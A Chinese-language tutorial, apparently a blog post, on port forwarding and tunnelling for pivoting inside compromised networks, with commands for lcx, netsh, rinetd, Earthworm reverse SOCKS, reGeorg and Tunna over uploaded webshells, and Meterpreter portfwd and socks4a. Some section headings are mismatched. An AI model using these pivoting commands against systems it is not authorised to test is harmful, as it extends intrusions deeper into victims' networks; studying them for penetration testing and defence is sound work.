本篇文章主要是总结一下常见端口转发姿势。
- 0x01 前言
- 0x02 lcx
- 0x03 netsh
- 0x04 rinetd
- 0x05 Earthworm
- 0x06 reGeorg
- 0x07 Metasploit Portfwd
- 0x08 socat
- 0x09 Metasploit->socks4a
- 0x10 tunna
- 0x11 结语
0x01 前言
由于在内网渗透的过程中面对的网络环境都是千奇百怪的,我们需要探测连接情况。
需要使用到端口转发技术来让我们访问到内网其他主机中,或者将内网中某个端口转发到本地。
- 端口映射 : 端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;
工具列表:
工具名称 | 主要用途 | 平台 | 备注 |
---|---|---|---|
lcx | 端口映射 | Windows | 只支持tcp协议的端口转发,非系统内置 |
netsh | 端口映射 | Windows | 只支持tcp协议的端口转发 |
rinetd | 反向代理 | Linux | 需要安装包 |
Earthworm | 端口映射、Socks5代理 | Linux、Windows、MacOS、Arm-Linux | 非系统内置 |
reGeorg | Socks5 代理 | 常见脚本语言 | 需脚本环境执行,且网络状况较好 |
Metasploit portfwd | 端口映射 | MSF -> Metpreter会话 | 需要网络状况较好 |
socat | 端口映射 | Linux | 可能需要安装 |
Metasploit->socks4a | 反向代理 | MSF -> Metpreter会话 | 需要会话主机有外网代理IP |
tunna | HTTP隧道 | 常见脚本语言 | 需脚本环境执行,且网络状况较好 |
网络拓扑
0x02 lcx
lcx 参数
lcx-<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <监听端口> <转发端口>
-tran<监听端口> <目标地址> <目标端口>
-slave <目标主机> <目标端口> <本地主机><本机端口>
端口映射 - 无法访问内网情况下
网络情况:A无法访问B主机上的端口,但B可以访问外网
在这种常见的内网环境下,我们可以使用LCX这款工具来帮助我们实现一个端口映射。
首先在A主机上监听两个端口,这两个端口用于交换B主机发送来的数据以及转发A主机发送的数据。
这个原理可能有些烧脑,但是仔细跟着我做一遍相信你可以有一个大概的认识 :)
-
A主机上执行命令:
lcx.exe -listen 4455 1234
-
B主机上执行命令:
lcx.exe -slave {A主机IP地址} {A主机端口} {B主机本地IP地址} {B主机某个需要转发出去的端口}
PS:这两条命令没有先后顺序,谁先执行都可以,建议先在A主机监听后再去执行B主机上的命令。
原理简述:
A主机首先监听的两个端口为 4455 和 1234 ,大概意思就是将4455接收到的主机转发给1234。当然执行这条命令之前,要保证4455及1234未被其他应用程序占用,并且A主机必须是一个B主机能够进行通信的IP地址。
B主机会首先连接A主机的4455端口,此时A主机与B主机建立连接状态,如果我们访问A主机的1234端口,我们发送的数据会经过4455端口发送给B主机需要转发的目标端口。
大致就是 A与B要建立一个通道,将1234的数据不断的传送到B上的目标端口,中间也包括B主机目标端口响应的数据。
端口转发 - 能够访问内网某台主机
网络情况:A能够访问B主机的任何端口,但是无法访问C主机上的端口
这种大部分情况是A已经能够轻松B主机,而想要去访问C,可以使用LCX的tran参数。
在B主机上执行:lcx.exe -tran {监听端口} {C主机IP地址} {C主机端口}
此时我们访问B主机上监听的端口就相当于访问了C主机上的端口。
0x03 netsh
网络情况:A无法连接C的端口,但是可以连接B,所以能在B上进行端口转发
说明
netsh工具都自带portproxy功能。目前只支持tcp协议的端口转发,前提需要作为portproxy的主机需要安装IPV6,安装可以不启用IPV6。
安装IPV6
netsh interface ipv6 install
转发
netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1 connectport=8080
此时A访问B(10.10.18.1)的4455端口就相当于访问C(10.10.12.1)的8080端口
删除转发记录
netsh interface portproxy delete v4tov4 listenaddress={B的IP} listenport={B的端口}
查看转发记录
netsh interface portproxy show v4tov4
0x04 rinetd
网络情况:A无法连接C的端口,但是可以连接B,所以能在B上进行端口转发
linux下简单好用的工具rinetd,实现端口映射/转发/重定向
Rinetd是为在一个Unix和Linux操作系统中为重定向传输控制协议(TCP)连接的一个工具。Rinetd是单一过程的服务器,它处理任何数量的连接到在配置文件etc/rinetd
中指定的地址/端口对。尽管rinetd使用非闭锁I/O运行作为一个单一过程,它可能重定向很多连接而不对这台机器增加额外的负担。
官网地址:http://www.boutell.com/rinetd
软件下载:wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
安装
tar zxvf rinetd.tar.gz
cd rinetd
make
make install
配置文件
配置文件结构如下:
源地址 | 源端口 | 目的地址 | 目的端口 |
---|---|---|---|
0.0.0.0 | 8080 | 10.10.12.1 | 8080 |
0.0.0.0 | 9090 | 10.10.12.1 | 3389 |
0.0.0.0 | 80 | 10.10.12.1 | 80 |
/etc/rinetd.conf
文件中指定了每条转发记录:
0.0.0.0 8080 10.10.12.1 8080
0.0.0.0 9090 10.10.12.1 3389
0.0.0.0 80 10.10.12.1 80
PS:0.0.0.0表示本机绑定所有可用地址
将所有发往B主机的8080端口的请求转发到10.10.12.1的8080端口
同样的,其他都是一样的意思;
0x05 Earthworm
简介
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
PS:该工具已经集成了lcx的所有功能
该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
官网:http://rootkiter.com/EarthWorm/
端口转发
网络情况:A无法连接C的端口,但是可以连接B,所以能在B上进行端口转发
原理与LCX相同,只是命令参数有所改变:
./ew -s lcx_tran -l 1080 -f 10.10.12.1 -g 9999
将所有发往B主机的1080端口的请求转发到10.10.12.1的9999端口
正向 SOCKS v5 服务器
网络情况:A无法连接C的端口,但是可以连接B,所以能在B上进行SOCKS代理转发
此时A主机配置上B主机的socks5服务,即可访问C主机
反弹 SOCKS v5 服务器
网络情况:A无法连接C的端口,但是B可以连接A,所以需要B连接A,来创建一个Socks5服务(类似于lcx的反向连接)
- 先在一台具有公网 IP 的主机A上运行以下命令:
./ew -s rcsocks -l {A主机Socks服务端口} -e {A主机转发端口}
- 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的8888端口
/ew -s rssocks -d {A主机IP地址} -e {A主机端口}
0x06 reGeorg
简介
Git地址:https://github.com/sensepost/reGeorg.git
reGeorg是一个Python2.7环境下开发的一款结合Webshell进行端口复用的工具,能够将数据通过在本地建立的Socks服务转发到内网环境。
说明:reGeorg需要配合Webshell使用,并且需要一个良好的网络状况。Python环境必须安装Urlib3
创建Socks5代理
网络情况:A只能连接B主机的80端口,A无法与C进行通信,且B无法与外网进行通信
首先要选择一个适合目标服务器脚本环境的Webshell脚本,将该脚本上传到服务器上,记录下地址
在浏览器中访问会出现很熟悉的 Georg says, ‘All seems fine’,说明是正常的
例如Webshell地址如:http://10.10.18.1/shell.jsp
进入reGeorg目录,执行python reGeorgSocksProxy.py -u {Webshell地址} -p {本地Socks5服务监听的端口}
最后会输出Starting socks Server [127.0.0.1:端口]
,此时就可以使用浏览器设置Socks代理访问内网主机的端口了。
简介
Metasploit中的Portfwd是集成于Metpreter会话中的一个后渗透模块,多用于将内网某个主机的端口转发到本地。
内网端口转发
网络状况:A已经控制了B主机,但是无法与C主机进行通信
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> 转发: 本地监听地址 反向: 本地主机连接到某个地址
-R 表示正向反向端口
-h 帮助信息
-i <opt> 端口转发条目的索引与交互(请参阅“列表”命令)
-l <opt> 转发:本地端口收听 反向:本地端口连接
-p <opt> 转发:远程端口连接 反向:远程端口监听
-r <opt> 转发:连接到远程主机
正向转发端口:
portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389
此时访问本地的1212端口就相当于访问10.10.12.1的3389端口
反向转发端口:
portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877
此时访问10.10.18.1的8080端口就相当于访问10.10.12.1的8877端口
0x08 socat
参考:http://payloads.online/tools/socat
简介
该模块是Metasploit下一个辅助模块,用于在本地创建一个socks4a代理,用于通向Metpreter会话上的主机网络。
创建socks4a代理
网络状况:A已经控制了B主机,但是无法与C主机进行通信
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > exploit -y
[*] Auxiliary module execution completed
msf auxiliary(socks4a) >
[*] Starting the socks4a proxy server
- SRVHOST 是服务端IP地址,默认是本机所有IP
- SRVPORT 是Socks4a监听端口
执行后本地会监听一个1080端口,可以使用浏览器代理、或proxychains-ng等工具代理扫描。
0x10 tunna
简介
Tunna是一套工具,通过HTTP协议建立一个TCP通信隧道,属于端口复用技术。它可以用来绕过防火墙环境中的网络限制。
Git:https://github.com/SECFORCE/Tunna
端口转发
网络状况:A已经拥有了B主机的Webshell,但是无法对B主机的其他端口进行通信
该工具的使用方法与reGeorg相似,但是比reGeorg更加稳定、快速、高效。
例如(1):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s
此时,将目标服务器的3389端口转发到本地的1234端口
例如(2):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s
此时,将10.10.12.1服务器的3389端口转发到本地的1234端口
0x11 结语
可能这次总结的不算很完善,后期有新的工具再向里面添加。